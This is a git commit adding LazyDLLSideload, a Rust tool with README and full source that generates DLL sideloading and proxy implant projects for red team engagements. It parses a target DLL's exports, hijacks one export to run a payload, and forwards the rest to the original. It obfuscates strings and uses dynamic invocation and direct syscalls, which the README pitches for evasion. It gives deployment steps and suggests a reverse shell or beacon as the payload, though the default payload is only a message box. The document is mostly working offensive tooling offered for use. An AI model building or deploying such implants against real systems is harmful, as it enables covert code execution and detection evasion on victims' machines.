commit 731cbf48263fac249b06c3799ab74eb140197f3d Author: staffs@smukx.site Date: Wed Jun 17 23:56:41 2026 +0530 Upload diff --git a/Cargo.lock b/Cargo.lock new file mode 100644 index 0000000..c519620 --- /dev/null +++ b/Cargo.lock @@ -0,0 +1,25 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "LazyDLLSideload" +version = "0.1.0" +dependencies = [ + "getopts", +] + +[[package]] +name = "getopts" +version = "0.2.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cfe4fbac503b8d1f88e6676011885f34b7174f46e59956bba534ba83abded4df" +dependencies = [ + "unicode-width", +] + +[[package]] +name = "unicode-width" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4ac048d71ede7ee76d585517add45da530660ef4390e49b098733c6e897f254" diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..52db151 --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,12 @@ +[package] +name = "LazyDLLSideload" +version = "0.1.0" +edition = "2021" +authors = ["5mukx", "smukx@5mukx.site"] +description = "An Lazy tool to generating DLL proxy/sideload projects" +repository = "https://git.smukx.site/smukx/LazyDLLSideload" +readme = "README.md" +license = "MIT" + +[dependencies] +getopts = "0.2" \ No newline at end of file diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..8be2ace --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 Smukx ♠ + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..6a995e9 --- /dev/null +++ b/README.md @@ -0,0 +1,307 @@ +# LazyDLLSideload + +A Rust-based tool for generating DLL proxy and sideload projects for red team engagements. Parses PE export tables and produces ready-to-compile Rust projects with your payload embedded. + +## Overview + +LazyDLLSideload automates building DLL proxying and sideloading implants. + +- Uses the windows_sys ecosystem. +- Parses any Windows DLL to extract exported functions. +- Generates complete Rust projects. +- Obfuscates strings. Decrypts at runtime. +- Supports two operation modes. Sideload and Proxy. +- Uses [dyncvoke](https://git.smukx.site/smukx/Dyncvoke) for dynamic invocation and syscall execution in proxy loads. + +## Installation + +### Install as package + +Install once. Run from any path. + +```bash +cargo install LazyDLLSideload +``` + +### Clone the repository + +```bash +git clone https://git.smukx.site/smukx/LazyDLLSideload.git +cd LazyDLLSideload +cargo b -r ; cp target/release/LazyDLLSideload.exe . +``` + +# Usage + +## Mode 1: Sideload + +Sideload mode creates a DLL to replace the original. Your payload runs when a target export is called. The original DLL never loads. This is a pure sideload attack. + +### How It Works + +1. Parses the target DLL to collect all exported functions. +2. Generates stub functions for all exports except the hijacked one. +3. Creates a `lib.rs` with the hijacked function. Your payload runs from there. +4. On build, you get a DLL with all the required exports. + +### Example + +```bash +# Generate sideload project for libvlc.dll +./LazyDLLSideload.exe -m sideload -p ./libvlc.dll -e libvlc_new +``` + +This generates a project where: + +- `libvlc_new` is the hijacked export and triggers the payload. +- All other exports are empty stubs. +- The target app loads your DLL directly. + +POC: + +![Sideloading VLC]() + +--- + +## Mode 2: Proxy Mode + +Proxy mode creates a DLL with three jobs: + +1. Forwards all function calls to the original (renamed) DLL. +2. Intercepts one specific function to execute your payload. +3. Maintains full functionality of the original DLL. + +This is the classic proxying technique. The original DLL is renamed. Your proxy DLL takes its place, forwards calls, and intercepts specific functions. + +### Key Components + +#### 1. The Dispatch Function + +The dispatch function is the core of the proxy. It: + +- Loads the original DLL dynamically via `dyncvoke`. +- Resolves function addresses at runtime with `GetFunctionAddress`. +- Caches resolved addresses in a callback table to avoid repeated lookups. +- Uses a sync lock so the payload runs only once. + +```rust +fn dispatch_call( + a1-u64, a2-u64, ..., a20-u64, + export_id: u32 // Which function was called (0 = hijacked) +) -> u64 +``` + +#### 2. Export Forwarding + +The `.def` file forwards non-hijacked exports to the original DLL: + +```def +LIBRARY TextShaping +EXPORTS + BuildOtlCache=Shaping.BuildOtlCache @1 + FreeOtlResources=Shaping.FreeOtlResources @2 + GetOtlFeatureDefs=Shaping.GetOtlFeatureDefs @3 + ... + ShapingCreateFontCacheData @12 ; Hijacked - handled by dispatch_call +``` + +This tells the Windows loader to forward calls to `Shaping.dll` (the renamed original) on its own. + +#### 3. Dynamic Function Invocation (dyncvoke) + +The tool uses [dyncvoke](https://git.smukx.site/smukx/Dyncvoke): + +- Better OPSEC. No import table entries for the original DLL. +- Syscalls. Set `NATIVE = true` to use `NtCreateThreadEx` for thread creation. +- No suspicious imports. The proxy DLL has no explicit dependency on the target DLL. + +```rust +// Dynamically load the original DLL at runtime +let module_handle = load_library_a(DLL_NAME); + +// Resolve the function dynamically +let proc_addr = get_function_address(module_handle, &proc_name); +``` + +### Two Path Modes + +#### Relative Path Mode (Default) + +> Note: For relative path mode, place the original dll next to LazyDLLSideload.exe. + +You give it a relative path like `-p ./TextShaping.dll`: + +```bash +./LazyDLLSideload.exe -m proxy -p ./TextShaping.dll -e ShapingCreateFontCacheData -n Shaping.dll +``` + +POC: + +![Relative Path Mode](./images/relative_path_mode.png) + +Generated `.def` forwarding: + +```def +BuildOtlCache=Shaping.BuildOtlCache @1 +``` + +#### Absolute Path Mode + +You give it an absolute path like `-p C:\Windows\System32\TextShaping.dll`: + +``` +1. No renaming needed +2. Deploy the YourProxy.dll in the target directory. +3. DLL_NAME in project will be "C:\\Windows\\System32\\TextShaping.dll" +4. The proxy dll loads the original DLL directly from system32 and forwards to it. +``` + +```bash +./LazyDLLSideload.exe -m proxy -p C:\Windows\System32\TextShaping.dll -e ShapingCreateFontCacheData +``` + +Generated `.def` forwarding: + +```def +BuildOtlCache=C:\Windows\System32\TextShaping.BuildOtlCache @1 +``` + +POC: + +![Absolute Path Mode](./images/absolute_path_mode.png) + +--- + +## Usage + +### Build the Tool + +```bash +cargo build --release +cp target/release/LazyDLLSideload.exe . +``` + +### Sideload Mode + +```bash +./LazyDLLSideload.exe -m sideload -p -e +``` + +### Proxy Mode + +```bash +# Relative path mode +./LazyDLLSideload.exe -m proxy -p -e -n + +# Absolute path mode +./LazyDLLSideload.exe -m proxy -p -e +``` + +### Options + +| Option | Description | +|--------|-------------| +| `-m, --mode` | Mode: `sideload` or `proxy` | +| `-p, --path` | Path to target DLL | +| `-e, --export` | Export function name to hijack | +| `-n, --name` | Original DLL name after renaming (relative proxy path mode only) | + +--- + +## Project Structure + +### Sideload Mode + +``` +project_name/ +├── Cargo.toml # Minimal dependencies (windows-sys only) +└── src/ + ├── lib.rs # DllMain + hijacked function + payload + └── forward.rs # Stub functions for all other exports +``` + +### Proxy Mode + +``` +project_name/ +├── Cargo.toml # Includes dyncvoke dependency +├── build.rs # Links proxy.def +├── proxy.def # Export table with forwarding +├── dyncvoke/ # Dynamic invocation library +└── src/ + ├── lib.rs # Gateway + hijacked function + └── forward.rs # Stub functions (satisfies linker) +``` + +--- + +## Payload Customization + +The default payload shows a MessageBox. To customise, edit the generated `lib.rs`: + +```rust +fn initialize_component() { + // Your custom payload here + // Example: reverse shell, beacon, etc. +} +``` + +### Native Syscall Mode + +In proxy mode, syscalls run by default. Toggle them with: + +```rust +const NATIVE: bool = true; // Use NtCreateThreadEx via syscall +// vs +const NATIVE: false; // Use std::thread::spawn +``` + +--- + +## Example Workflow (Relative Path Mode) + +### 1. Identify Target DLL + +``` +# Find a DLL the application loads +procmon.exe -> Filter: "Path ends with TextShaping.dll" +``` + +### 2. Generate Proxy + +```bash +./LazyDLLSideload.exe -m proxy -p ./TextShaping.dll -e ShapingCreateFontCacheData -n Shaping.dll +``` + +### 3. Build + +```bash +cd TextShaping +cargo build --release +``` + +### 4. Deploy + +``` +# Copy and rename original dll +rename TextShaping.dll Shaping.dll + +# Deploy +copy target\release\TextShaping.dll . +copy Shaping.dll . + +# The target app loading TextShaping.dll now: +# - Gets full functionality via forwarding +# - Executes the payload when ShapingCreateFontCacheData is called +# - Forwards to the original renamed dll Shaping.dll +``` + +## Requirements + +- Rust (1.70+) +- Visual Studio Build Tools (MSVC) +- Windows target: `rustup target add x86_64-pc-windows-msvc` + +## LICENSE + +Released under [MIT LICENSE](./LICENSE). diff --git a/images/absolute_path_mode.png b/images/absolute_path_mode.png new file mode 100644 index 0000000..edf1641 Binary files /dev/null and b/images/absolute_path_mode.png differ diff --git a/images/relative_path_mode.png b/images/relative_path_mode.png new file mode 100644 index 0000000..b0d847f Binary files /dev/null and b/images/relative_path_mode.png differ diff --git a/images/sideload-vlc.png b/images/sideload-vlc.png new file mode 100644 index 0000000..b4aa847 Binary files /dev/null and b/images/sideload-vlc.png differ diff --git a/src/main.rs b/src/main.rs new file mode 100644 index 0000000..34787b4 --- /dev/null +++ b/src/main.rs @@ -0,0 +1,410 @@ +mod proxy; +mod sideload; + +use getopts::Options; +use std::{ + env, fs, + io::{self, Read}, + path::Path, +}; + +const CARGO_TOML_TEMPLATE: &str = r#" +[package] +name = "{PROJECT_NAME}" +version = "0.1.0" +edition = "2021" + +[lib] +crate-type = ["cdylib"] + +[dependencies] +lazy_static = "1.4.0" +dyncvoke = { git = "https://git.smukx.site/smukx/Dyncvoke" } +obfstr = "0.4.4" + +[dependencies.windows-sys] +version = "0.61.2" +features = [ + "Win32_Foundation", + "Win32_Security", + "Win32_System_Threading", + "Win32_UI_WindowsAndMessaging", + "Win32_System_Memory", + "Win32_System_Diagnostics_Debug", + "Win32_System_SystemServices", + "Win32_System_LibraryLoader", + "Win32_UI_Shell", +] + +[build-dependencies] +windres = "0.2.2" +"#; + +fn main() { + let args: Vec = env::args().collect(); + let program = args[0].clone(); + + let mut opts = Options::new(); + opts.reqopt("m", "mode", "Mode: 'proxy' or 'sideload'", "MODE"); + opts.reqopt("p", "path", "Path to target DLL", "PATH"); + opts.reqopt("e", "export", "Export to hijack", "EXPORT"); + opts.optopt("n", "name", "Original DLL name (renamed)", "ORIG_NAME"); + + let matches = match opts.parse(&args[1..]) { + Ok(m) => m, + Err(f) => { + println!("[!] Error: {}", f); + print_usage(&program, opts); + return; + } + }; + + let mode = matches.opt_str("m").unwrap(); + let dll_path_str = matches.opt_str("p").unwrap(); + let hijack_export = matches.opt_str("e").unwrap(); + + let dll_path = Path::new(&dll_path_str); + let dll_stem = dll_path.file_stem().unwrap().to_str().unwrap(); + + let default_orig_name = format!("{}_orig.dll", dll_stem); + let original_dll_full_name = matches.opt_str("n").unwrap_or(default_orig_name); + + if !dll_path.exists() { + println!("[!] Error: DLL file not found at: {}", dll_path.display()); + return; + } + + let exports = parse_pe_exports(dll_path).unwrap_or(vec![]); + let project_name = dll_stem.replace(".", "_"); + let root_dir = Path::new(&project_name); + + if root_dir.exists() { + println!( + "[*] Removing existing project directory: {}", + root_dir.display() + ); + let _ = fs::remove_dir_all(root_dir); + } + + fs::create_dir_all(root_dir.join("src")).unwrap(); + + let is_proxy = mode == "proxy"; + + if is_proxy { + fs::write( + root_dir.join("Cargo.toml"), + CARGO_TOML_TEMPLATE.replace("{PROJECT_NAME}", &project_name), + ) + .unwrap(); + + let match_arms = format!(" 0 => \"{}\".to_string(),", hijack_export); + + let export_count = exports.len(); + + let mut forward_functions = String::new(); + for (name, _ordinal) in exports.iter() { + if name != &hijack_export { + forward_functions.push_str(&format!( + "#[no_mangle]\npub unsafe extern \"system\" fn {}() {{}}\n", + name + )); + } + } + + let hijack_function = format!( + r#"#[no_mangle] +pub unsafe extern "system" fn {}( + a1: u64, + a2: u64, + a3: u64, + a4: u64, + a5: u64, + a6: u64, + a7: u64, + a8: u64, + a9: u64, + a10: u64, + a11: u64, + a12: u64, + a13: u64, + a14: u64, + a15: u64, + a16: u64, + a17: u64, + a18: u64, + a19: u64, + a20: u64, +) -> u64 {{ + dispatch_call(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, 0) +}}"#, + hijack_export + ); + + let original_dll_path = if dll_path.is_absolute() { + dll_path_str.replace("\\", "\\\\") + } else { + original_dll_full_name.clone() + }; + + let lib_content = proxy::LIB_RS_TEMPLATE + .replace("{ORIGINAL_DLL_PATH}", &original_dll_path) + .replace("{NUM_EXPORTS}", &export_count.to_string()) + .replace("{MATCH_STATEMENT}", &match_arms) + .replace("{HIJACK_FUNCTION}", &hijack_function); + + fs::write(root_dir.join("src/lib.rs"), lib_content).unwrap(); + + fs::write(root_dir.join("src/forward.rs"), forward_functions).unwrap(); + + let mut def_content = format!("LIBRARY {}\nEXPORTS\n", dll_stem); + let forward_target = if dll_path.is_absolute() { + let p = Path::new(&dll_path_str); + p.with_extension("").to_string_lossy().to_string() + } else { + Path::new(&original_dll_full_name) + .file_stem() + .unwrap() + .to_str() + .unwrap() + .to_string() + }; + + for (name, ordinal) in &exports { + if name == &hijack_export { + def_content.push_str(&format!("{} @{}\n", name, ordinal)); + } else { + def_content.push_str(&format!( + "{}={}.{} @{}\n", + name, forward_target, name, ordinal + )); + } + } + + fs::write(root_dir.join("build.rs"), proxy::BUILD_RS_TEMPLATE).unwrap(); + fs::write(root_dir.join("proxy.def"), def_content).unwrap(); + + if dll_path.is_absolute() { + print_proxy_warning_absolute(dll_stem, &dll_path_str, &hijack_export); + } else { + print_proxy_warning(dll_stem, &original_dll_full_name, &hijack_export); + } + } else { + fs::write( + root_dir.join("Cargo.toml"), + sideload::CARGO_TOML_TEMPLATE.replace("{PROJECT_NAME}", &project_name), + ) + .unwrap(); + + let hijack_function = format!( + r#"#[no_mangle] +pub unsafe extern "system" fn {}( + _a1: u64, + _a2: u64, + _a3: u64, + _a4: u64, + _a5: u64, + _a6: u64, + _a7: u64, + _a8: u64, + _a9: u64, + _a10: u64, + _a11: u64, + _a12: u64, + _a13: u64, + _a14: u64, + _a15: u64, + _a16: u64, + _a17: u64, + _a18: u64, + _a19: u64, + _a20: u64 +) -> u64 {{ + payload_execution(); + 1 +}}"#, + hijack_export + ); + + let lib_content = sideload::LIB_RS_TEMPLATE.replace("{HIJACK_FUNCTION}", &hijack_function); + fs::write(root_dir.join("src/lib.rs"), lib_content).unwrap(); + + let mut forward_content = String::new(); + for (name, _ordinal) in &exports { + if name != &hijack_export { + forward_content.push_str(&format!( + "#[no_mangle]\npub unsafe extern \"system\" fn {}() {{}}\n\n", + name + )); + } + } + fs::write(root_dir.join("src/forward.rs"), forward_content).unwrap(); + + print_sideload_warning(dll_stem, &hijack_export); + } + + println!("[+] Project generated: ./{}", project_name); +} + +fn print_proxy_warning(dll_stem: &str, orig_name: &str, export: &str) { + println!( + "\n\x1b[31m\x1b[1m======================================================================\x1b[0m" + ); + println!("\x1b[31m\x1b[1m[!] PROXY MODE CONFIGURATION\x1b[0m"); + println!( + "\x1b[31m\x1b[1m======================================================================\x1b[0m" + ); + println!( + " 1. Rename original '{}.dll' -> '{}'", + dll_stem, orig_name + ); + println!( + " 2. Place generated DLL + '{}' in same folder.", + orig_name + ); + println!(" 3. Payload triggers on: '{}'", export); + println!( + "\x1b[31m\x1b[1m======================================================================\x1b[0m\n" + ); +} + +fn print_proxy_warning_absolute(_dll_stem: &str, original_path: &str, export: &str) { + println!( + "\n\x1b[31m\x1b[1m======================================================================\x1b[0m" + ); + println!("\x1b[31m\x1b[1m[!] PROXY MODE CONFIGURATION (Full Path Mode)\x1b[0m"); + println!( + "\x1b[31m\x1b[1m======================================================================\x1b[0m" + ); + println!(" 1. DLL will be loaded from: '{}'", original_path); + println!(" 2. No file renaming needed - uses absolute path."); + println!(" 3. Payload triggers on: '{}'", export); + println!( + "\x1b[31m\x1b[1m======================================================================\x1b[0m\n" + ); +} + +fn print_sideload_warning(dll_stem: &str, export: &str) { + println!( + "\n\x1b[33m\x1b[1m======================================================================\x1b[0m" + ); + println!("\x1b[33m\x1b[1m[!] SIDELOAD MODE CONFIGURATION\x1b[0m"); + println!( + "\x1b[33m\x1b[1m======================================================================\x1b[0m" + ); + println!( + " 1. Place generated '{}.dll' alongside the vulnerable application.", + dll_stem + ); + println!( + " 2. Application loads '{}.dll' and calls '{}'.", + dll_stem, export + ); + println!(" 3. Payload triggers on: '{}'", export); + println!( + "\x1b[33m\x1b[1m======================================================================\x1b[0m\n" + ); +} + +fn print_usage(program: &str, opts: Options) { + let brief = format!("Usage: {} [options]", program); + print!("{}", opts.usage(&brief)); +} + +fn parse_pe_exports(path: &Path) -> io::Result> { + let mut file = fs::File::open(path)?; + let mut buffer = Vec::new(); + file.read_to_end(&mut buffer)?; + let base = buffer.as_ptr(); + let len = buffer.len(); + + let get_u32 = |offset: usize| -> u32 { + if offset + 4 > len { + 0 + } else { + unsafe { *((base.add(offset)) as *const u32) } + } + }; + let get_u16 = |offset: usize| -> u16 { + if offset + 2 > len { + 0 + } else { + unsafe { *((base.add(offset)) as *const u16) } + } + }; + + if get_u16(0) != 0x5A4D { + return Err(io::Error::new(io::ErrorKind::InvalidData, "Invalid DOS")); + } + let e_lfanew = get_u32(0x3C) as usize; + if get_u32(e_lfanew) != 0x00004550 { + return Err(io::Error::new(io::ErrorKind::InvalidData, "Invalid PE")); + } + + let optional_header_offset = e_lfanew + 24; + let (rva_count_offset, data_dirs_offset) = match get_u16(optional_header_offset) { + 0x10B => (optional_header_offset + 92, optional_header_offset + 96), + 0x20B => (optional_header_offset + 108, optional_header_offset + 112), + _ => return Err(io::Error::new(io::ErrorKind::InvalidData, "Unknown Magic")), + }; + + if get_u32(rva_count_offset) == 0 { + return Ok(Vec::new()); + } + let export_rva = get_u32(data_dirs_offset); + if export_rva == 0 { + return Ok(Vec::new()); + } + + let file_header_offset = e_lfanew + 4; + let number_of_sections = get_u16(file_header_offset + 2); + let size_of_optional_header = get_u16(file_header_offset + 16); + let section_headers_offset = optional_header_offset + size_of_optional_header as usize; + + let rva_to_offset = |rva: u32| -> usize { + for i in 0..number_of_sections as usize { + let entry_offset = section_headers_offset + (i * 40); + let virtual_address = get_u32(entry_offset + 12); + let size_of_raw_data = get_u32(entry_offset + 16); + if rva >= virtual_address && rva < virtual_address + size_of_raw_data { + return (rva - virtual_address + get_u32(entry_offset + 20)) as usize; + } + } + 0 + }; + + let export_file_offset = rva_to_offset(export_rva); + if export_file_offset == 0 { + return Err(io::Error::new( + io::ErrorKind::InvalidData, + "Invalid Export RVA", + )); + } + + let ordinal_base = get_u32(export_file_offset + 16); + let number_of_names = get_u32(export_file_offset + 24); + let address_of_names = get_u32(export_file_offset + 32); + let address_of_name_ordinals = get_u32(export_file_offset + 36); + + let names_offset = rva_to_offset(address_of_names); + let ordinals_offset = rva_to_offset(address_of_name_ordinals); + if names_offset == 0 || ordinals_offset == 0 { + return Ok(Vec::new()); + } + + let mut exports = Vec::new(); + for i in 0..number_of_names { + let name_rva = get_u32(names_offset + (i as usize * 4)); + let name_offset = rva_to_offset(name_rva); + let ordinal_index = get_u16(ordinals_offset + (i as usize * 2)); + if name_offset != 0 { + let mut name_str = String::new(); + let mut cur = name_offset; + while cur < len && unsafe { *base.add(cur) } != 0 { + name_str.push(unsafe { *base.add(cur) } as char); + cur += 1; + } + exports.push((name_str, ordinal_base + ordinal_index as u32)); + } + } + Ok(exports) +} diff --git a/src/proxy.rs b/src/proxy.rs new file mode 100644 index 0000000..d20e7d3 --- /dev/null +++ b/src/proxy.rs @@ -0,0 +1,204 @@ +pub const BUILD_RS_TEMPLATE: &str = r##" +use std::{env, path::PathBuf}; + +fn main() { + if env::var("CARGO_CFG_TARGET_OS").unwrap() == "windows" { + let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap(); + let def_path = PathBuf::from(manifest_dir).join("proxy.def"); + println!("cargo:rustc-link-arg=/DEF:{}", def_path.display()); + println!("cargo:rerun-if-changed=proxy.def"); + } +} +"##; + +pub const LIB_RS_TEMPLATE: &str = r##" +#![allow(non_snake_case)] +extern crate lazy_static; + +use std::sync::{Arc, Mutex}; +use std::{ptr, thread}; +use lazy_static::lazy_static; +use obfstr::obfstr as s; +use windows_sys::Win32::Foundation::HANDLE; +use windows_sys::Win32::UI::WindowsAndMessaging::{MessageBoxA, MB_OK}; +use windows_sys::Win32::System::SystemServices::{DLL_PROCESS_ATTACH, DLL_PROCESS_DETACH}; +use windows_sys::core::BOOL; +use dyncvoke::dyncvoke_core::{nt_create_thread_ex,get_function_address, load_library_a}; + +mod forward; + +const NATIVE: bool = true; + +lazy_static! { + static ref DLL_NAME: String = s!("{ORIGINAL_DLL_PATH}").to_string(); +} + +static mut CALLBACK_TABLE: [usize; {NUM_EXPORTS}] = [0; {NUM_EXPORTS}]; +lazy_static! { + static ref sync_lock: Arc> = Arc::new(Mutex::new(0)); +} + +#[no_mangle] +#[allow(non_snake_case)] +pub unsafe extern "system" fn DllMain( + _hinst: *mut std::ffi::c_void, + reason: u32, + _reserved: *mut std::ffi::c_void, +) -> BOOL { + match reason { + DLL_PROCESS_ATTACH => 1, + DLL_PROCESS_DETACH => 1, + _ => 1, + } +} + +fn initialize_component() { + unsafe { + MessageBoxA(ptr::null_mut(), s!("Module initialized. ProxyMode Success").as_ptr() as *const u8, s!("Status").as_ptr() as *const u8, MB_OK); + } +} + +fn dispatch_call( + a1: u64, + a2: u64, + a3: u64, + a4: u64, + a5: u64, + a6: u64, + a7: u64, + a8: u64, + a9: u64, + a10: u64, + a11: u64, + a12: u64, + a13: u64, + a14: u64, + a15: u64, + a16: u64, + a17: u64, + a18: u64, + a19: u64, + a20: u64, + export_id: u32, +) -> u64 { + let lock = Arc::clone(&sync_lock); + let mut guard = lock.lock().unwrap(); + + if *guard == 0 { + *guard += 1; + if NATIVE { + #[allow(unused_unsafe)] + unsafe { + let thread_handle: *mut HANDLE = ptr::null_mut(); + let func_ptr = initialize_component as *const(); + let start_addr = func_ptr as *mut std::ffi::c_void; + + let result = nt_create_thread_ex( + thread_handle, + 0x1FFFFF, + ptr::null_mut(), + -1isize as *mut std::ffi::c_void, + start_addr, + ptr::null_mut(), + 0, 0, 0, 0, + ptr::null_mut() + ); + + if result != 0 { + thread::spawn(|| { + initialize_component(); + }); + } + } + } else { + thread::spawn(|| { + initialize_component(); + }); + } + } + drop(guard); + + unsafe { + if CALLBACK_TABLE[export_id as usize] != 0 { + let target: extern "system" fn( + u64, + u64, + u64, + u64, + u64, + u64, + u64, + u64, + u64, + u64, + u64, + u64, + u64, + u64, + u64, + u64, + u64, + u64, + u64, + u64, + ) -> u64 = std::mem::transmute(CALLBACK_TABLE[export_id as usize]); + return target( + a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, + a19, a20, + ); + } + } + + let proc_name = match export_id { + {MATCH_STATEMENT} + _ => s!("").to_string(), + }; + + if proc_name.is_empty() { + return 0; + } + + let dll_name = DLL_NAME.as_str(); + let module_handle = load_library_a(dll_name); + if module_handle == 0 { + return 0; + } + + let proc_addr = get_function_address(module_handle, &proc_name); + if proc_addr == 0 { + return 0; + } + + unsafe { + CALLBACK_TABLE[export_id as usize] = proc_addr; + let target: extern "system" fn( + u64, + u64, + u64, + u64, + u64, + u64, + u64, + u64, + u64, + u64, + u64, + u64, + u64, + u64, + u64, + u64, + u64, + u64, + u64, + u64, + ) -> u64 = std::mem::transmute(proc_addr); + return target( + a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, + a20, + ); + } +} + +{HIJACK_FUNCTION} +"##; diff --git a/src/sideload.rs b/src/sideload.rs new file mode 100644 index 0000000..f59d8cf --- /dev/null +++ b/src/sideload.rs @@ -0,0 +1,58 @@ +pub const CARGO_TOML_TEMPLATE: &str = r#" +[package] +name = "{PROJECT_NAME}" +version = "0.1.0" +edition = "2021" + +[lib] +crate-type = ["cdylib"] + +[dependencies] +obfstr = "0.4.4" + +[dependencies.windows-sys] +version = "0.61.2" +features = [ + "Win32_Foundation", + "Win32_System_SystemServices", + "Win32_UI_WindowsAndMessaging", +] +"#; + +pub const LIB_RS_TEMPLATE: &str = r#" +#![allow(non_snake_case)] + +use std::ffi::c_void; +use std::ptr::null_mut; +use obfstr::obfstr as s; +use windows_sys::Win32::System::SystemServices::{DLL_PROCESS_ATTACH, DLL_PROCESS_DETACH}; +use windows_sys::Win32::UI::WindowsAndMessaging::MessageBoxW; +use windows_sys::core::BOOL; + +mod forward; + +#[no_mangle] +#[allow(non_snake_case)] +pub unsafe extern "system" fn DllMain( + _hinst: *mut c_void, + reason: u32, + _reserved: *mut c_void, +) -> BOOL { + match reason { + DLL_PROCESS_ATTACH => 1, + DLL_PROCESS_DETACH => 1, + _ => 1, + } +} + +unsafe fn payload_execution() { + MessageBoxW( + null_mut(), + s!("Sideload Executed Successfully!").as_ptr() as *const u16, + s!("Success").as_ptr() as *const u16, + 0, + ); +} + +{HIJACK_FUNCTION} +"#;